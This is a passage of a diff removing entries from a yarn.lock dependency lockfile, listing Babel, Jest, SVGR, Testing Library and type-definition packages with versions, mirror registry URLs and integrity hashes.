-    "@babel/plugin-transform-spread" "^7.13.0"
-    "@babel/plugin-transform-sticky-regex" "^7.12.13"
-    "@babel/plugin-transform-template-literals" "^7.13.0"
-    "@babel/plugin-transform-typeof-symbol" "^7.12.13"
-    "@babel/plugin-transform-unicode-escapes" "^7.12.13"
-    "@babel/plugin-transform-unicode-regex" "^7.12.13"
-    "@babel/preset-modules" "^0.1.4"
-    "@babel/types" "^7.14.4"
-    babel-plugin-polyfill-corejs2 "^0.2.0"
-    babel-plugin-polyfill-corejs3 "^0.2.0"
-    babel-plugin-polyfill-regenerator "^0.2.0"
-    core-js-compat "^3.9.0"
-    semver "^6.3.0"
-
-"@babel/preset-modules@^0.1.3", "@babel/preset-modules@^0.1.4":
-  version "0.1.4"
-  resolved "https://registry.npm.taobao.org/@babel/preset-modules/download/@babel/preset-modules-0.1.4.tgz#362f2b68c662842970fdb5e254ffc8fc1c2e415e"
-  integrity sha1-Ni8raMZihClw/bXiVP/I/BwuQV4=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.0.0"
-    "@babel/plugin-proposal-unicode-property-regex" "^7.4.4"
-    "@babel/plugin-transform-dotall-regex" "^7.4.4"
-    "@babel/types" "^7.4.4"
-    esutils "^2.0.2"
-
-"@babel/preset-react@7.9.1":
-  version "7.9.1"
-  resolved "https://registry.npm.taobao.org/@babel/preset-react/download/@babel/preset-react-7.9.1.tgz#b346403c36d58c3bb544148272a0cefd9c28677a"
-  integrity sha1-s0ZAPDbVjDu1RBSCcqDO/ZwoZ3o=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.3"
-    "@babel/plugin-transform-react-display-name" "^7.8.3"
-    "@babel/plugin-transform-react-jsx" "^7.9.1"
-    "@babel/plugin-transform-react-jsx-development" "^7.9.0"
-    "@babel/plugin-transform-react-jsx-self" "^7.9.0"
-    "@babel/plugin-transform-react-jsx-source" "^7.9.0"
-
-"@babel/preset-react@^7.0.0":
-  version "7.13.13"
-  resolved "https://registry.npm.taobao.org/@babel/preset-react/download/@babel/preset-react-7.13.13.tgz#fa6895a96c50763fe693f9148568458d5a839761"
-  integrity sha1-+miVqWxQdj/mk/kUhWhFjVqDl2E=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/helper-validator-option" "^7.12.17"
-    "@babel/plugin-transform-react-display-name" "^7.12.13"
-    "@babel/plugin-transform-react-jsx" "^7.13.12"
-    "@babel/plugin-transform-react-jsx-development" "^7.12.17"
-    "@babel/plugin-transform-react-pure-annotations" "^7.12.1"
-
-"@babel/preset-typescript@7.9.0":
-  version "7.9.0"
-  resolved "https://registry.npm.taobao.org/@babel/preset-typescript/download/@babel/preset-typescript-7.9.0.tgz#87705a72b1f0d59df21c179f7c3d2ef4b16ce192"
-  integrity sha1-h3BacrHw1Z3yHBeffD0u9LFs4ZI=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.3"
-    "@babel/plugin-transform-typescript" "^7.9.0"
-
-"@babel/runtime-corejs3@^7.10.2", "@babel/runtime-corejs3@^7.12.1":
-  version "7.14.0"
-  resolved "https://registry.nlark.com/@babel/runtime-corejs3/download/@babel/runtime-corejs3-7.14.0.tgz?cache=0&sync_timestamp=1619727725709&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fruntime-corejs3%2Fdownload%2F%40babel%2Fruntime-corejs3-7.14.0.tgz#6bf5fbc0b961f8e3202888cb2cd0fb7a0a9a3f66"
-  integrity sha1-a/X7wLlh+OMgKIjLLND7egqaP2Y=
-  dependencies:
-    core-js-pure "^3.0.0"
-    regenerator-runtime "^0.13.4"
-
-"@babel/runtime@7.9.0":
-  version "7.9.0"
-  resolved "https://registry.nlark.com/@babel/runtime/download/@babel/runtime-7.9.0.tgz?cache=0&sync_timestamp=1619727414495&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fruntime%2Fdownload%2F%40babel%2Fruntime-7.9.0.tgz#337eda67401f5b066a6f205a3113d4ac18ba495b"
-  integrity sha1-M37aZ0AfWwZqbyBaMRPUrBi6SVs=
-  dependencies:
-    regenerator-runtime "^0.13.4"
-
-"@babel/runtime@^7.0.0", "@babel/runtime@^7.10.2", "@babel/runtime@^7.12.5", "@babel/runtime@^7.3.4", "@babel/runtime@^7.4.5", "@babel/runtime@^7.5.1", "@babel/runtime@^7.7.2", "@babel/runtime@^7.8.4":
-  version "7.14.0"
-  resolved "https://registry.nlark.com/@babel/runtime/download/@babel/runtime-7.14.0.tgz?cache=0&sync_timestamp=1619727414495&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fruntime%2Fdownload%2F%40babel%2Fruntime-7.14.0.tgz#46794bc20b612c5f75e62dd071e24dfd95f1cbe6"
-  integrity sha1-RnlLwgthLF915i3QceJN/ZXxy+Y=
-  dependencies:
-    regenerator-runtime "^0.13.4"
-
-"@babel/template@^7.12.13", "@babel/template@^7.4.0", "@babel/template@^7.8.6":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/template/download/@babel/template-7.12.13.tgz#530265be8a2589dbb37523844c5bcb55947fb327"
-  integrity sha1-UwJlvooliduzdSOETFvLVZR/syc=
-  dependencies:
-    "@babel/code-frame" "^7.12.13"
-    "@babel/parser" "^7.12.13"
-    "@babel/types" "^7.12.13"
-
-"@babel/traverse@^7.1.0", "@babel/traverse@^7.13.0", "@babel/traverse@^7.13.15", "@babel/traverse@^7.14.0", "@babel/traverse@^7.14.2", "@babel/traverse@^7.4.3", "@babel/traverse@^7.7.0", "@babel/traverse@^7.9.0":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/traverse/download/@babel/traverse-7.14.2.tgz?cache=0&sync_timestamp=1620839391311&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Ftraverse%2Fdownload%2F%40babel%2Ftraverse-7.14.2.tgz#9201a8d912723a831c2679c7ebbf2fe1416d765b"
-  integrity sha1-kgGo2RJyOoMcJnnH678v4UFtdls=
-  dependencies:
-    "@babel/code-frame" "^7.12.13"
-    "@babel/generator" "^7.14.2"
-    "@babel/helper-function-name" "^7.14.2"
-    "@babel/helper-split-export-declaration" "^7.12.13"
-    "@babel/parser" "^7.14.2"
-    "@babel/types" "^7.14.2"
-    debug "^4.1.0"
-    globals "^11.1.0"
-
-"@babel/types@^7.0.0", "@babel/types@^7.12.1", "@babel/types@^7.12.13", "@babel/types@^7.13.0", "@babel/types@^7.13.12", "@babel/types@^7.13.16", "@babel/types@^7.14.0", "@babel/types@^7.14.2", "@babel/types@^7.14.4", "@babel/types@^7.3.0", "@babel/types@^7.4.0", "@babel/types@^7.4.4", "@babel/types@^7.7.0", "@babel/types@^7.9.0":
-  version "7.14.4"
-  resolved "https://registry.nlark.com/@babel/types/download/@babel/types-7.14.4.tgz?cache=0&sync_timestamp=1622221256190&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Ftypes%2Fdownload%2F%40babel%2Ftypes-7.14.4.tgz#bfd6980108168593b38b3eb48a24aa026b919bc0"
-  integrity sha1-v9aYAQgWhZOziz60iiSqAmuRm8A=
-  dependencies:
-    "@babel/helper-validator-identifier" "^7.14.0"
-    to-fast-properties "^2.0.0"
-
-"@cnakazawa/watch@^1.0.3":
-  version "1.0.4"
-  resolved "https://registry.nlark.com/@cnakazawa/watch/download/@cnakazawa/watch-1.0.4.tgz#f864ae85004d0fcab6f50be9141c4da368d1656a"
-  integrity sha1-+GSuhQBND8q29QvpFBxNo2jRZWo=
-  dependencies:
-    exec-sh "^0.3.2"
-    minimist "^1.2.0"
-
-"@csstools/convert-colors@^1.4.0":
-  version "1.4.0"
-  resolved "https://registry.npm.taobao.org/@csstools/convert-colors/download/@csstools/convert-colors-1.4.0.tgz#ad495dc41b12e75d588c6db8b9834f08fa131eb7"
-  integrity sha1-rUldxBsS511YjG24uYNPCPoTHrc=
-
-"@csstools/normalize.css@^10.1.0":
-  version "10.1.0"
-  resolved "https://registry.npm.taobao.org/@csstools/normalize.css/download/@csstools/normalize.css-10.1.0.tgz#f0950bba18819512d42f7197e56c518aa491cf18"
-  integrity sha1-8JULuhiBlRLUL3GX5WxRiqSRzxg=
-
-"@hapi/address@2.x.x":
-  version "2.1.4"
-  resolved "https://registry.nlark.com/@hapi/address/download/@hapi/address-2.1.4.tgz#5d67ed43f3fd41a69d4b9ff7b56e7c0d1d0a81e5"
-  integrity sha1-XWftQ/P9QaadS5/3tW58DR0KgeU=
-
-"@hapi/bourne@1.x.x":
-  version "1.3.2"
-  resolved "https://registry.nlark.com/@hapi/bourne/download/@hapi/bourne-1.3.2.tgz#0a7095adea067243ce3283e1b56b8a8f453b242a"
-  integrity sha1-CnCVreoGckPOMoPhtWuKj0U7JCo=
-
-"@hapi/hoek@8.x.x", "@hapi/hoek@^8.3.0":
-  version "8.5.1"
-  resolved "https://registry.nlark.com/@hapi/hoek/download/@hapi/hoek-8.5.1.tgz#fde96064ca446dec8c55a8c2f130957b070c6e06"
-  integrity sha1-/elgZMpEbeyMVajC8TCVewcMbgY=
-
-"@hapi/joi@^15.0.0":
-  version "15.1.1"
-  resolved "https://registry.npm.taobao.org/@hapi/joi/download/@hapi/joi-15.1.1.tgz?cache=0&sync_timestamp=1615984328397&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40hapi%2Fjoi%2Fdownload%2F%40hapi%2Fjoi-15.1.1.tgz#c675b8a71296f02833f8d6d243b34c57b8ce19d7"
-  integrity sha1-xnW4pxKW8Cgz+NbSQ7NMV7jOGdc=
-  dependencies:
-    "@hapi/address" "2.x.x"
-    "@hapi/bourne" "1.x.x"
-    "@hapi/hoek" "8.x.x"
-    "@hapi/topo" "3.x.x"
-
-"@hapi/topo@3.x.x":
-  version "3.1.6"
-  resolved "https://registry.npm.taobao.org/@hapi/topo/download/@hapi/topo-3.1.6.tgz#68d935fa3eae7fdd5ab0d7f953f3205d8b2bfc29"
-  integrity sha1-aNk1+j6uf91asNf5U/MgXYsr/Ck=
-  dependencies:
-    "@hapi/hoek" "^8.3.0"
-
-"@jest/console@^24.7.1", "@jest/console@^24.9.0":
-  version "24.9.0"
-  resolved "https://registry.nlark.com/@jest/console/download/@jest/console-24.9.0.tgz?cache=0&sync_timestamp=1622290386430&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40jest%2Fconsole%2Fdownload%2F%40jest%2Fconsole-24.9.0.tgz#79b1bc06fb74a8cfb01cbdedf945584b1b9707f0"
-  integrity sha1-ebG8Bvt0qM+wHL3t+UVYSxuXB/A=
-  dependencies:
-    "@jest/source-map" "^24.9.0"
-    chalk "^2.0.1"
-    slash "^2.0.0"
-
-"@jest/core@^24.9.0":
-  version "24.9.0"
-  resolved "https://registry.nlark.com/@jest/core/download/@jest/core-24.9.0.tgz#2ceccd0b93181f9c4850e74f2a9ad43d351369c4"
-  integrity sha1-LOzNC5MYH5xIUOdPKprUPTUTacQ=
-  dependencies:
-    "@jest/console" "^24.7.1"
-    "@jest/reporters" "^24.9.0"
-    "@jest/test-result" "^24.9.0"
-    "@jest/transform" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    ansi-escapes "^3.0.0"
-    chalk "^2.0.1"
-    exit "^0.1.2"
-    graceful-fs "^4.1.15"
-    jest-changed-files "^24.9.0"
-    jest-config "^24.9.0"
-    jest-haste-map "^24.9.0"
-    jest-message-util "^24.9.0"
-    jest-regex-util "^24.3.0"
-    jest-resolve "^24.9.0"
-    jest-resolve-dependencies "^24.9.0"
-    jest-runner "^24.9.0"
-    jest-runtime "^24.9.0"
-    jest-snapshot "^24.9.0"
-    jest-util "^24.9.0"
-    jest-validate "^24.9.0"
-    jest-watcher "^24.9.0"
-    micromatch "^3.1.10"
-    p-each-series "^1.0.0"
-    realpath-native "^1.1.0"
-    rimraf "^2.5.4"
-    slash "^2.0.0"
-    strip-ansi "^5.0.0"
-
-"@jest/environment@^24.3.0", "@jest/environment@^24.9.0":
-  version "24.9.0"
-  resolved "https://registry.nlark.com/@jest/environment/download/@jest/environment-24.9.0.tgz#21e3afa2d65c0586cbd6cbefe208bafade44ab18"
-  integrity sha1-IeOvotZcBYbL1svv4gi6+t5Eqxg=
-  dependencies:
-    "@jest/fake-timers" "^24.9.0"
-    "@jest/transform" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    jest-mock "^24.9.0"
-
-"@jest/fake-timers@^24.3.0", "@jest/fake-timers@^24.9.0":
-  version "24.9.0"
-  resolved "https://registry.nlark.com/@jest/fake-timers/download/@jest/fake-timers-24.9.0.tgz#ba3e6bf0eecd09a636049896434d306636540c93"
-  integrity sha1-uj5r8O7NCaY2BJiWQ00wZjZUDJM=
-  dependencies:
-    "@jest/types" "^24.9.0"
-    jest-message-util "^24.9.0"
-    jest-mock "^24.9.0"
-
-"@jest/reporters@^24.9.0":
-  version "24.9.0"
-  resolved "https://registry.nlark.com/@jest/reporters/download/@jest/reporters-24.9.0.tgz#86660eff8e2b9661d042a8e98a028b8d631a5b43"
-  integrity sha1-hmYO/44rlmHQQqjpigKLjWMaW0M=
-  dependencies:
-    "@jest/environment" "^24.9.0"
-    "@jest/test-result" "^24.9.0"
-    "@jest/transform" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    chalk "^2.0.1"
-    exit "^0.1.2"
-    glob "^7.1.2"
-    istanbul-lib-coverage "^2.0.2"
-    istanbul-lib-instrument "^3.0.1"
-    istanbul-lib-report "^2.0.4"
-    istanbul-lib-source-maps "^3.0.1"
-    istanbul-reports "^2.2.6"
-    jest-haste-map "^24.9.0"
-    jest-resolve "^24.9.0"
-    jest-runtime "^24.9.0"
-    jest-util "^24.9.0"
-    jest-worker "^24.6.0"
-    node-notifier "^5.4.2"
-    slash "^2.0.0"
-    source-map "^0.6.0"
-    string-length "^2.0.0"
-
-"@jest/source-map@^24.3.0", "@jest/source-map@^24.9.0":
-  version "24.9.0"
-  resolved "https://registry.nlark.com/@jest/source-map/download/@jest/source-map-24.9.0.tgz?cache=0&sync_timestamp=1621937210556&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40jest%2Fsource-map%2Fdownload%2F%40jest%2Fsource-map-24.9.0.tgz#0e263a94430be4b41da683ccc1e6bffe2a191714"
-  integrity sha1-DiY6lEML5LQdpoPMwea//ioZFxQ=
-  dependencies:
-    callsites "^3.0.0"
-    graceful-fs "^4.1.15"
-    source-map "^0.6.0"
-
-"@jest/test-result@^24.9.0":
-  version "24.9.0"
-  resolved "https://registry.nlark.com/@jest/test-result/download/@jest/test-result-24.9.0.tgz?cache=0&sync_timestamp=1622290386789&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40jest%2Ftest-result%2Fdownload%2F%40jest%2Ftest-result-24.9.0.tgz#11796e8aa9dbf88ea025757b3152595ad06ba0ca"
-  integrity sha1-EXluiqnb+I6gJXV7MVJZWtBroMo=
-  dependencies:
-    "@jest/console" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    "@types/istanbul-lib-coverage" "^2.0.0"
-
-"@jest/test-sequencer@^24.9.0":
-  version "24.9.0"
-  resolved "https://registry.nlark.com/@jest/test-sequencer/download/@jest/test-sequencer-24.9.0.tgz?cache=0&sync_timestamp=1622709707899&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40jest%2Ftest-sequencer%2Fdownload%2F%40jest%2Ftest-sequencer-24.9.0.tgz#f8f334f35b625a4f2f355f2fe7e6036dad2e6b31"
-  integrity sha1-+PM081tiWk8vNV8v5+YDba0uazE=
-  dependencies:
-    "@jest/test-result" "^24.9.0"
-    jest-haste-map "^24.9.0"
-    jest-runner "^24.9.0"
-    jest-runtime "^24.9.0"
-
-"@jest/transform@^24.9.0":
-  version "24.9.0"
-  resolved "https://registry.nlark.com/@jest/transform/download/@jest/transform-24.9.0.tgz#4ae2768b296553fadab09e9ec119543c90b16c56"
-  integrity sha1-SuJ2iyllU/rasJ6ewRlUPJCxbFY=
-  dependencies:
-    "@babel/core" "^7.1.0"
-    "@jest/types" "^24.9.0"
-    babel-plugin-istanbul "^5.1.0"
-    chalk "^2.0.1"
-    convert-source-map "^1.4.0"
-    fast-json-stable-stringify "^2.0.0"
-    graceful-fs "^4.1.15"
-    jest-haste-map "^24.9.0"
-    jest-regex-util "^24.9.0"
-    jest-util "^24.9.0"
-    micromatch "^3.1.10"
-    pirates "^4.0.1"
-    realpath-native "^1.1.0"
-    slash "^2.0.0"
-    source-map "^0.6.1"
-    write-file-atomic "2.4.1"
-
-"@jest/types@^24.3.0", "@jest/types@^24.9.0":
-  version "24.9.0"
-  resolved "https://registry.nlark.com/@jest/types/download/@jest/types-24.9.0.tgz#63cb26cb7500d069e5a389441a7c6ab5e909fc59"
-  integrity sha1-Y8smy3UA0Gnlo4lEGnxqtekJ/Fk=
-  dependencies:
-    "@types/istanbul-lib-coverage" "^2.0.0"
-    "@types/istanbul-reports" "^1.1.1"
-    "@types/yargs" "^13.0.0"
-
-"@jest/types@^25.5.0":
-  version "25.5.0"
-  resolved "https://registry.nlark.com/@jest/types/download/@jest/types-25.5.0.tgz#4d6a4793f7b9599fc3680877b856a97dbccf2a9d"
-  integrity sha1-TWpHk/e5WZ/DaAh3uFapfbzPKp0=
-  dependencies:
-    "@types/istanbul-lib-coverage" "^2.0.0"
-    "@types/istanbul-reports" "^1.1.1"
-    "@types/yargs" "^15.0.0"
-    chalk "^3.0.0"
-
-"@jest/types@^26.6.2":
-  version "26.6.2"
-  resolved "https://registry.nlark.com/@jest/types/download/@jest/types-26.6.2.tgz#bef5a532030e1d88a2f5a6d933f84e97226ed48e"
-  integrity sha1-vvWlMgMOHYii9abZM/hOlyJu1I4=
-  dependencies:
-    "@types/istanbul-lib-coverage" "^2.0.0"
-    "@types/istanbul-reports" "^3.0.0"
-    "@types/node" "*"
-    "@types/yargs" "^15.0.0"
-    chalk "^4.0.0"
-
-"@mrmlnc/readdir-enhanced@^2.2.1":
-  version "2.2.1"
-  resolved "https://registry.npm.taobao.org/@mrmlnc/readdir-enhanced/download/@mrmlnc/readdir-enhanced-2.2.1.tgz#524af240d1a360527b730475ecfa1344aa540dde"
-  integrity sha1-UkryQNGjYFJ7cwR17PoTRKpUDd4=
-  dependencies:
-    call-me-maybe "^1.0.1"
-    glob-to-regexp "^0.3.0"
-
-"@nodelib/fs.stat@^1.1.2":
-  version "1.1.3"
-  resolved "https://registry.nlark.com/@nodelib/fs.stat/download/@nodelib/fs.stat-1.1.3.tgz?cache=0&sync_timestamp=1622792655362&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40nodelib%2Ffs.stat%2Fdownload%2F%40nodelib%2Ffs.stat-1.1.3.tgz#2b5a3ab3f918cca48a8c754c08168e3f03eba61b"
-  integrity sha1-K1o6s/kYzKSKjHVMCBaOPwPrphs=
-
-"@sheerun/mutationobserver-shim@^0.3.2":
-  version "0.3.3"
-  resolved "https://registry.npm.taobao.org/@sheerun/mutationobserver-shim/download/@sheerun/mutationobserver-shim-0.3.3.tgz#5405ee8e444ed212db44e79351f0c70a582aae25"
-  integrity sha1-VAXujkRO0hLbROeTUfDHClgqriU=
-
-"@svgr/babel-plugin-add-jsx-attribute@^4.2.0":
-  version "4.2.0"
-  resolved "https://registry.npm.taobao.org/@svgr/babel-plugin-add-jsx-attribute/download/@svgr/babel-plugin-add-jsx-attribute-4.2.0.tgz#dadcb6218503532d6884b210e7f3c502caaa44b1"
-  integrity sha1-2ty2IYUDUy1ohLIQ5/PFAsqqRLE=
-
-"@svgr/babel-plugin-remove-jsx-attribute@^4.2.0":
-  version "4.2.0"
-  resolved "https://registry.npm.taobao.org/@svgr/babel-plugin-remove-jsx-attribute/download/@svgr/babel-plugin-remove-jsx-attribute-4.2.0.tgz#297550b9a8c0c7337bea12bdfc8a80bb66f85abc"
-  integrity sha1-KXVQuajAxzN76hK9/IqAu2b4Wrw=
-
-"@svgr/babel-plugin-remove-jsx-empty-expression@^4.2.0":
-  version "4.2.0"
-  resolved "https://registry.npm.taobao.org/@svgr/babel-plugin-remove-jsx-empty-expression/download/@svgr/babel-plugin-remove-jsx-empty-expression-4.2.0.tgz#c196302f3e68eab6a05e98af9ca8570bc13131c7"
-  integrity sha1-wZYwLz5o6ragXpivnKhXC8ExMcc=
-
-"@svgr/babel-plugin-replace-jsx-attribute-value@^4.2.0":
-  version "4.2.0"
-  resolved "https://registry.npm.taobao.org/@svgr/babel-plugin-replace-jsx-attribute-value/download/@svgr/babel-plugin-replace-jsx-attribute-value-4.2.0.tgz#310ec0775de808a6a2e4fd4268c245fd734c1165"
-  integrity sha1-MQ7Ad13oCKai5P1CaMJF/XNMEWU=
-
-"@svgr/babel-plugin-svg-dynamic-title@^4.3.3":
-  version "4.3.3"
-  resolved "https://registry.npm.taobao.org/@svgr/babel-plugin-svg-dynamic-title/download/@svgr/babel-plugin-svg-dynamic-title-4.3.3.tgz#2cdedd747e5b1b29ed4c241e46256aac8110dd93"
-  integrity sha1-LN7ddH5bGyntTCQeRiVqrIEQ3ZM=
-
-"@svgr/babel-plugin-svg-em-dimensions@^4.2.0":
-  version "4.2.0"
-  resolved "https://registry.npm.taobao.org/@svgr/babel-plugin-svg-em-dimensions/download/@svgr/babel-plugin-svg-em-dimensions-4.2.0.tgz#9a94791c9a288108d20a9d2cc64cac820f141391"
-  integrity sha1-mpR5HJoogQjSCp0sxkysgg8UE5E=
-
-"@svgr/babel-plugin-transform-react-native-svg@^4.2.0":
-  version "4.2.0"
-  resolved "https://registry.npm.taobao.org/@svgr/babel-plugin-transform-react-native-svg/download/@svgr/babel-plugin-transform-react-native-svg-4.2.0.tgz#151487322843359a1ca86b21a3815fd21a88b717"
-  integrity sha1-FRSHMihDNZocqGsho4Ff0hqItxc=
-
-"@svgr/babel-plugin-transform-svg-component@^4.2.0":
-  version "4.2.0"
-  resolved "https://registry.npm.taobao.org/@svgr/babel-plugin-transform-svg-component/download/@svgr/babel-plugin-transform-svg-component-4.2.0.tgz#5f1e2f886b2c85c67e76da42f0f6be1b1767b697"
-  integrity sha1-Xx4viGsshcZ+dtpC8Pa+Gxdntpc=
-
-"@svgr/babel-preset@^4.3.3":
-  version "4.3.3"
-  resolved "https://registry.npm.taobao.org/@svgr/babel-preset/download/@svgr/babel-preset-4.3.3.tgz#a75d8c2f202ac0e5774e6bfc165d028b39a1316c"
-  integrity sha1-p12MLyAqwOV3Tmv8Fl0CizmhMWw=
-  dependencies:
-    "@svgr/babel-plugin-add-jsx-attribute" "^4.2.0"
-    "@svgr/babel-plugin-remove-jsx-attribute" "^4.2.0"
-    "@svgr/babel-plugin-remove-jsx-empty-expression" "^4.2.0"
-    "@svgr/babel-plugin-replace-jsx-attribute-value" "^4.2.0"
-    "@svgr/babel-plugin-svg-dynamic-title" "^4.3.3"
-    "@svgr/babel-plugin-svg-em-dimensions" "^4.2.0"
-    "@svgr/babel-plugin-transform-react-native-svg" "^4.2.0"
-    "@svgr/babel-plugin-transform-svg-component" "^4.2.0"
-
-"@svgr/core@^4.3.3":
-  version "4.3.3"
-  resolved "https://registry.npm.taobao.org/@svgr/core/download/@svgr/core-4.3.3.tgz#b37b89d5b757dc66e8c74156d00c368338d24293"
-  integrity sha1-s3uJ1bdX3Gbox0FW0Aw2gzjSQpM=
-  dependencies:
-    "@svgr/plugin-jsx" "^4.3.3"
-    camelcase "^5.3.1"
-    cosmiconfig "^5.2.1"
-
-"@svgr/hast-util-to-babel-ast@^4.3.2":
-  version "4.3.2"
-  resolved "https://registry.npm.taobao.org/@svgr/hast-util-to-babel-ast/download/@svgr/hast-util-to-babel-ast-4.3.2.tgz#1d5a082f7b929ef8f1f578950238f630e14532b8"
-  integrity sha1-HVoIL3uSnvjx9XiVAjj2MOFFMrg=
-  dependencies:
-    "@babel/types" "^7.4.4"
-
-"@svgr/plugin-jsx@^4.3.3":
-  version "4.3.3"
-  resolved "https://registry.npm.taobao.org/@svgr/plugin-jsx/download/@svgr/plugin-jsx-4.3.3.tgz#e2ba913dbdfbe85252a34db101abc7ebd50992fa"
-  integrity sha1-4rqRPb376FJSo02xAavH69UJkvo=
-  dependencies:
-    "@babel/core" "^7.4.5"
-    "@svgr/babel-preset" "^4.3.3"
-    "@svgr/hast-util-to-babel-ast" "^4.3.2"
-    svg-parser "^2.0.0"
-
-"@svgr/plugin-svgo@^4.3.1":
-  version "4.3.1"
-  resolved "https://registry.npm.taobao.org/@svgr/plugin-svgo/download/@svgr/plugin-svgo-4.3.1.tgz#daac0a3d872e3f55935c6588dd370336865e9e32"
-  integrity sha1-2qwKPYcuP1WTXGWI3TcDNoZenjI=
-  dependencies:
-    cosmiconfig "^5.2.1"
-    merge-deep "^3.0.2"
-    svgo "^1.2.2"
-
-"@svgr/webpack@4.3.3":
-  version "4.3.3"
-  resolved "https://registry.npm.taobao.org/@svgr/webpack/download/@svgr/webpack-4.3.3.tgz#13cc2423bf3dff2d494f16b17eb7eacb86895017"
-  integrity sha1-E8wkI789/y1JTxaxfrfqy4aJUBc=
-  dependencies:
-    "@babel/core" "^7.4.5"
-    "@babel/plugin-transform-react-constant-elements" "^7.0.0"
-    "@babel/preset-env" "^7.4.5"
-    "@babel/preset-react" "^7.0.0"
-    "@svgr/core" "^4.3.3"
-    "@svgr/plugin-jsx" "^4.3.3"
-    "@svgr/plugin-svgo" "^4.3.1"
-    loader-utils "^1.2.3"
-
-"@testing-library/dom@*":
-  version "7.31.2"
-  resolved "https://registry.nlark.com/@testing-library/dom/download/@testing-library/dom-7.31.2.tgz#df361db38f5212b88555068ab8119f5d841a8c4a"
-  integrity sha1-3zYds49SEriFVQaKuBGfXYQajEo=
-  dependencies:
-    "@babel/code-frame" "^7.10.4"
-    "@babel/runtime" "^7.12.5"
-    "@types/aria-query" "^4.2.0"
-    aria-query "^4.2.2"
-    chalk "^4.1.0"
-    dom-accessibility-api "^0.5.6"
-    lz-string "^1.4.4"
-    pretty-format "^26.6.2"
-
-"@testing-library/dom@^6.15.0":
-  version "6.16.0"
-  resolved "https://registry.nlark.com/@testing-library/dom/download/@testing-library/dom-6.16.0.tgz#04ada27ed74ad4c0f0d984a1245bb29b1fd90ba9"
-  integrity sha1-BK2iftdK1MDw2YShJFuymx/ZC6k=
-  dependencies:
-    "@babel/runtime" "^7.8.4"
-    "@sheerun/mutationobserver-shim" "^0.3.2"
-    "@types/testing-library__dom" "^6.12.1"
-    aria-query "^4.0.2"
-    dom-accessibility-api "^0.3.0"
-    pretty-format "^25.1.0"
-    wait-for-expect "^3.0.2"
-
-"@testing-library/jest-dom@^4.2.4":
-  version "4.2.4"
-  resolved "https://registry.nlark.com/@testing-library/jest-dom/download/@testing-library/jest-dom-4.2.4.tgz#00dfa0cbdd837d9a3c2a7f3f0a248ea6e7b89742"
-  integrity sha1-AN+gy92DfZo8Kn8/CiSOpue4l0I=
-  dependencies:
-    "@babel/runtime" "^7.5.1"
-    chalk "^2.4.1"
-    css "^2.2.3"
-    css.escape "^1.5.1"
-    jest-diff "^24.0.0"
-    jest-matcher-utils "^24.0.0"
-    lodash "^4.17.11"
-    pretty-format "^24.0.0"
-    redent "^3.0.0"
-
-"@testing-library/react@^9.5.0":
-  version "9.5.0"
-  resolved "https://registry.nlark.com/@testing-library/react/download/@testing-library/react-9.5.0.tgz?cache=0&sync_timestamp=1623145062846&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40testing-library%2Freact%2Fdownload%2F%40testing-library%2Freact-9.5.0.tgz#71531655a7890b61e77a1b39452fbedf0472ca5e"
-  integrity sha1-cVMWVaeJC2Hnehs5RS++3wRyyl4=
-  dependencies:
-    "@babel/runtime" "^7.8.4"
-    "@testing-library/dom" "^6.15.0"
-    "@types/testing-library__react" "^9.1.2"
-
-"@testing-library/user-event@^7.2.1":
-  version "7.2.1"
-  resolved "https://registry.nlark.com/@testing-library/user-event/download/@testing-library/user-event-7.2.1.tgz#2ad4e844175a3738cb9e7064be5ea070b8863a1c"
-  integrity sha1-KtToRBdaNzjLnnBkvl6gcLiGOhw=
-
-"@types/aria-query@^4.2.0":
-  version "4.2.1"
-  resolved "https://registry.nlark.com/@types/aria-query/download/@types/aria-query-4.2.1.tgz#78b5433344e2f92e8b306c06a5622c50c245bf6b"
-  integrity sha1-eLVDM0Ti+S6LMGwGpWIsUMJFv2s=
-
-"@types/babel__core@^7.1.0":
-  version "7.1.14"
-  resolved "https://registry.nlark.com/@types/babel__core/download/@types/babel__core-7.1.14.tgz#faaeefc4185ec71c389f4501ee5ec84b170cc402"
-  integrity sha1-+q7vxBhexxw4n0UB7l7ISxcMxAI=
-  dependencies:
-    "@babel/parser" "^7.1.0"
-    "@babel/types" "^7.0.0"
-    "@types/babel__generator" "*"
-    "@types/babel__template" "*"
-    "@types/babel__traverse" "*"
-
-"@types/babel__generator@*":
-  version "7.6.2"
-  resolved "https://registry.nlark.com/@types/babel__generator/download/@types/babel__generator-7.6.2.tgz#f3d71178e187858f7c45e30380f8f1b7415a12d8"
-  integrity sha1-89cReOGHhY98ReMDgPjxt0FaEtg=
-  dependencies:
-    "@babel/types" "^7.0.0"
-
-"@types/babel__template@*":
-  version "7.4.0"
-  resolved "https://registry.nlark.com/@types/babel__template/download/@types/babel__template-7.4.0.tgz#0c888dd70b3ee9eebb6e4f200e809da0076262be"
-  integrity sha1-DIiN1ws+6e67bk8gDoCdoAdiYr4=
-  dependencies:
-    "@babel/parser" "^7.1.0"
-    "@babel/types" "^7.0.0"
-
-"@types/babel__traverse@*", "@types/babel__traverse@^7.0.6":
-  version "7.11.1"
-  resolved "https://registry.nlark.com/@types/babel__traverse/download/@types/babel__traverse-7.11.1.tgz#654f6c4f67568e24c23b367e947098c6206fa639"
-  integrity sha1-ZU9sT2dWjiTCOzZ+lHCYxiBvpjk=
-  dependencies:
